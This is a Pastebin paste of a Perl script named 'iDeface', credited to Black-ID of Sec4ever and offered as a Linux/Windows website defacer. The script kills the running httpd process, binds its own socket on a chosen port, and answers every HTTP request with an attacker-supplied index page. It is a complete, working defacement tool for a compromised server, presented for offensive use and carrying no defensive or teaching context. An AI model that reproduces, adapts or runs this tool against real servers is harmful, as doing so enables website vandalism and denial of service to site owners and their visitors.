Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- use strict;
- use warnings;
- use Socket;
- use IO::Select;
- use threads;
- use threads::shared;
- if($^O =~ /Win/){
- system("cls");
- system('title iDeface');
- }else{
- system("clear");
- }
- print q'
- _ _____ __
- (_) __ \ / _|
- _| | | | ___| |_ __ _ ___ ___
- | | | | |/ _ \ _/ _` |/ __/ _ \
- | | |__| | __/ || (_| | (_| __/
- |_|_____/ \___|_| \__,_|\___\___|
- v1.0
- ';
- if(@ARGV < 2){
- print q(
- ############################[Priv8]############################
- # Linux/Windows Defacer (Based WebServer) #
- ###############################################################
- # usage : deface.pl [Index] [Port] #
- #-------------------------------------------------------------#
- # [Index] : index path (/var/tmp/dz0.html) #
- # [Port] : Based Server Port (80) #
- # #
- ###############################################################
- # Coded By Black-ID (Sec4ever) #
- ###############################################################
- );exit;}
- if($^O =~ /linux/){
- system('killall httpd')
- }
- $| = 1;
- use vars qw/
- $port
- $request_line
- /;
- init();
- local *S;
- socket (S, PF_INET , SOCK_STREAM , getprotobyname('tcp')) or die "couldn't open socket: $!";
- setsockopt (S, SOL_SOCKET, SO_REUSEADDR, 1);
- bind (S, sockaddr_in($port, INADDR_ANY));
- listen (S, 5) or die "don't hear anything: $!";
- my $socket = IO::Select->new();
- $socket -> add (*S);
- while(1) {
- #glob $SIG{INT} = \&interrupt;
- my @connections_pending = $socket->can_read();
- foreach (@connections_pending) {
- my $fheader;
- my $remote = accept($fheader, $_);
- my($port,$iaddr) = sockaddr_in($remote);
- my $peeraddress = inet_ntoa($iaddr);
- print $peeraddress;
- my $threads = threads->create(\&nsocket, $fheader);
- $threads->detach();
- }
- }
- sub nsocket {
- my $fheader = shift;
- binmode $fheader;
- my %req;
- $req{HEADER}={};
- my $request_line = <$fheader>;
- my $first_line = "";
- while ($request_line ne "\r\n") {
- unless ($request_line) {
- close $fheader;
- }
- chomp $request_line;
- unless ($first_line) {
- $first_line = $request_line;
- my @parts = split(" ", $first_line);
- if (@parts != 3) {
- close $fheader;
- }
- $req{METHOD} = $parts[0];
- $req{OBJECT} = $parts[1];
- $req{VERSION} = $parts[2];
- }
- else {
- my ($name, $value) = split(": ", $request_line);
- $name = lc $name;
- $req{HEADER}{$name} = $value;
- }
- $request_line = <$fheader>;
- }
- handler($fheader, \%req);
- close $fheader;
- }
- sub handler {
- my $fheader = shift;
- my $req_ = shift;
- my %req = %$req_;
- my %header = %{$req{HEADER}};
- print $fheader "HTTP/1.0 200 OK\r\n";
- print $fheader "Server: Black-ID\r\n";
- #print $fheader "content-length: ... \r\n";
- #print $fheader "Content-Type: text/plain\r\n";
- print $fheader "\r\n";
- open(INDEX, "<$ARGV[0]") || die "[-] Can't open the index file!";
- print $fheader <INDEX>;
- close INDEX;
- print $req{OBJECT};
- print " |";
- print $req{METHOD};
- print " |";
- print $req{VERSION};
- print "\n";
- }
- sub init {
- $port = $ARGV[1];
- }
- 1;
Advertisement
Add Comment
Please, Sign In to add comment